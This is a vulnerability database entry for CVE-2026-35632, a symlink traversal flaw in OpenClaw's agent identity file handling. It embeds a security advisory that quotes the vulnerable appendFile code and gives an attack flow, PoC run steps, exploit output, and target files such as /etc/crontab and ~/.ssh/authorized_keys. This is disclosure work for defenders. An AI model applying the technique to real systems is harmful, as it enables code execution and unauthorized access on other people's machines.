CVE-2026-35632
highpriority · track · 31EPSS 0.003 · 25 %ileDEEUUSEPSS · scored 2026-10-27
OpenClaw through 2026.2.22 contains a symlink traversal vulnerability in agents.create and agents.update handlers that use fs.appendFile on IDENTITY.md without symlink containment checks. Attackers with workspace access can plant symlinks to append attacker-controlled content to arbitrary files, enabling remote code execution via crontab injection or unauthorized access via SSH key manipulation.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 4.5–7.8
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
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affected products (4)
Products and version ranges known to be affected.
advisories (2)
Vendor and ecosystem advisories describing this.
- WID-SEC-W-2026-0542OpenClaw: Mehrere SchwachstellenDeutsch2026-02-25csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in OpenClaw ausnutzen, um Dateien zu manipulieren, um Informationen offenzulegen, und um Sicherheitsvorkehrungen zu umgehen.
- GHSA-7xr2-q9vf-x4r5OpenClaw: Symlink Traversal via IDENTITY.md appendFile in agents.create/update (Incomplete Fix for CVE-2026-32013)2026-03-26ghsa · osvUS
### Summary The patch for CVE-2026-32013 introduced symlink resolution and workspace boundary enforcement for `agents.files.get` and `agents.files.set`. However, two other handlers in the same file (`agents.create` and `agents.update`) still use raw `fs.appendFile` on the `IDENTITY.md` file **without any symlink containment check**. An attacker who can place a symlink in the agent workspace can hijack the `IDENTITY.md` path to append attacker-controlled content to arbitrary files on the system. ### Details In `src/gateway/server-methods/agents.ts`, the `agents.create` handler constructs the identity path and appends agent metadata without verifying symlinks: ```typescript // agents.create — line 283-291 const identityPath = path.join(workspaceDir, DEFAULT_IDENTITY_FILENAME); const lines = [ "", `- Name: ${safeName}`, ...(emoji ? [`- Emoji: ${sanitizeIdentityLine(emoji)}`] : []), ...(avatar ? [`- Avatar: ${sanitizeIdentityLine(avatar)}`] : []), "", ]; await fs.appendFile(identityPath, lines.join("\n"), "utf-8"); // ← NO SYMLINK CHECK ``` The `agents.update` handler has the same issue at line 348-349: ```typescript // agents.update — line 348-349 const identityPath = path.join(workspace, DEFAULT_IDENTITY_FILENAME); await fs.appendFile(identityPath, `\n- Avatar: ${sanitizeIdentityLine(avatar)}\n`, "utf-8"); // ← NO SYMLINK CHECK ``` `fs.appendFile` follows symlinks by default. If the `IDENTITY.md` file in the workspace is a symlink pointing to a sensitive file (e.g., `/etc/crontab`, `~/.bashrc`, or `~/.ssh/authorized_keys`), calling `agents.create` will append the agent identity metadata to that file. The `ensureAgentWorkspace` function (called at line 274 before the append) uses exclusive-create mode (`flag: 'wx'`) for `IDENTITY.md`. If a symlink already exists at that path, the `EEXIST` error is silently caught, and the subsequent `fs.appendFile` follows the symlink. **Attack flow:** ``` 1. Attacker plants symlink: workspace/IDENTITY.md → /etc/crontab 2. ensureAgentWorkspace skips creation (EEXIST from symlink) 3. fs.appendFile follows symlink → writes to /etc/crontab 4. Attacker-controlled content (name, emoji, avatar) injected into crontab → RCE ``` ### PoC **Prerequisites:** Docker and Python 3 installed. **Step 1: Build and start the test environment.** ```bash cd llm-enhance/cve-finding/RCE/CVE-2026-32013-identity-appendFile-variant-exp/ docker compose up -d --build sleep 3 ``` **Step 2: Run the exploit.** ```bash python3 poc_exploit.py ``` This script: 1. Plants a symlink `IDENTITY.md → /etc/target-file.txt` inside the agent workspace 2. Calls the `agents.create` API endpoint via HTTP POST 3. Verifies that the agent identity metadata was appended to `/etc/target-file.txt` **Step 3: Run the control experiment.** ```bash python3 control-patched_realpath.py ``` **Step 4: Cleanup.** ```bash docker compose down ``` ### Log of Evidence **Exploit output:** ``` === CVE-2026-32013 Variant: Symlink Traversal via IDENTITY.md appendFile === [*] Planting symlink: IDENTITY.md -> /etc/target-file.txt [*] Symlink: lrwxrwxrwx 1 root root 20 /workspaces/evil-agent/IDENTITY.md -> /etc/target-file.txt [*] Original /etc/target-file.txt: ORIGINAL_SENSITIVE_CONTENT [*] Calling agents.create with name='evil-agent'... [*] API response: {'ok': True, 'agentId': 'evil-agent', 'workspace': '/workspaces/evil-agent'} [*] /etc/target-file.txt after exploit: ORIGINAL_SENSITIVE_CONTENT - Name: evil-agent - Emoji: 💀 - Avatar: evil.png [+] SUCCESS! Symlink traversal confirmed. [+] fs.appendFile followed IDENTITY.md symlink and wrote to /etc/target-file.txt [+] Attacker-controlled content injected into arbitrary file. ``` **Control output:** ``` === CONTROL: Patched agents.create blocks symlink traversal === [*] Planting symlink: IDENTITY.md -> /etc/target-file.txt [*] Original /etc/target-file.txt: ORIGINAL_SENSITIVE_CONTENT [*] Calling PATCHED agents.create with name='safe-agent'... [*] API response: {'ok': False, 'error': 'symlink_traversal_blocked', 'realPath': '/etc/target-file.txt'} [*] /etc/target-file.txt after patched call: ORIGINAL_SENSITIVE_CONTENT [+] CONTROL PASSED: Patched endpoint detected and blocked symlink traversal. [+] /etc/target-file.txt remains unchanged. ``` ### Impact An attacker who can plant a symlink in the agent workspace directory can use the `agents.create` or `agents.update` gateway API to **append attacker-controlled content to arbitrary files** on the system. If the target file is: - `/etc/crontab` or user crontab → **Remote Code Execution** - `~/.bashrc` or `~/.profile` → **Persistent code execution on login** - `~/.ssh/authorized_keys` → **Unauthorized SSH access** - Application configuration files → **Service disruption** The attacker-controlled content includes the agent name (arbitrary string), emoji, and avatar fields, which are only lightly sanitized (whitespace normalization via `sanitizeIdentityLine`). ### Affected products - **Ecosystem**: npm - **Package name**: openclaw - **Affected versions**: <= 2026.2.22 - **Patched versions**: None ### Occurrences | Permalink | Description | | :--- | :--- | | [https://github.com/openclaw/openclaw/blob/main/src/gateway/server-methods/agents.ts#L283-L291](https://github.com/openclaw/openclaw/blob/main/src/gateway/server-methods/agents.ts#L283-L291) | `agents.create` handler uses `fs.appendFile` on `IDENTITY.md` without symlink resolution or workspace boundary check. | | [https://github.com/openclaw/openclaw/blob/main/src/gateway/server-methods/agents.ts#L348-L349](https://github.com/openclaw/openclaw/blob/main/src/gateway/server-methods/agents.ts#L348-L349) | `agents.update` handler uses `fs.appendFile` on `IDENTITY.md` without symlink resolution or workspace boundary check. | | [https://github.com/openclaw/openclaw/blob/main/src/gateway/server-methods/agents.ts#L274](https://github.com/openclaw/openclaw/blob/main/src/gateway/server-methods/agents.ts#L274) | `ensureAgentWorkspace` is called before append, but its exclusive-create (`wx`) flag silently skips existing symlinks (EEXIST). |
also known as (4)
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sources
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references (7)
External citations — patches, advisories, analysis.
- https://github.com/openclaw/openclaw/releasesPatchcnnvd
- https://github.com/openclaw/openclaw/security/advisories/GHSA-7xr2-q9vf-x4r5cnnvd
- https://www.vulncheck.com/advisories/openclaw-symlink-traversal-via-identity-md-appendfile-in-agents-create-updatecnnvd
- https://github.com/openclaw/openclaw/security/advisories/GHSA-7xr2-q9vf-x4r5enisa_euvd
- https://www.vulncheck.com/advisories/openclaw-symlink-traversal-via-identity-md-appendfile-in-agents-create-updateenisa_euvd
- https://github.com/openclaw/openclaw/security/advisories/GHSA-7xr2-q9vf-x4r5ExploitVendor Advisorynvd
- https://www.vulncheck.com/advisories/openclaw-symlink-traversal-via-identity-md-appendfile-in-agents-create-updateThird Party Advisorynvd
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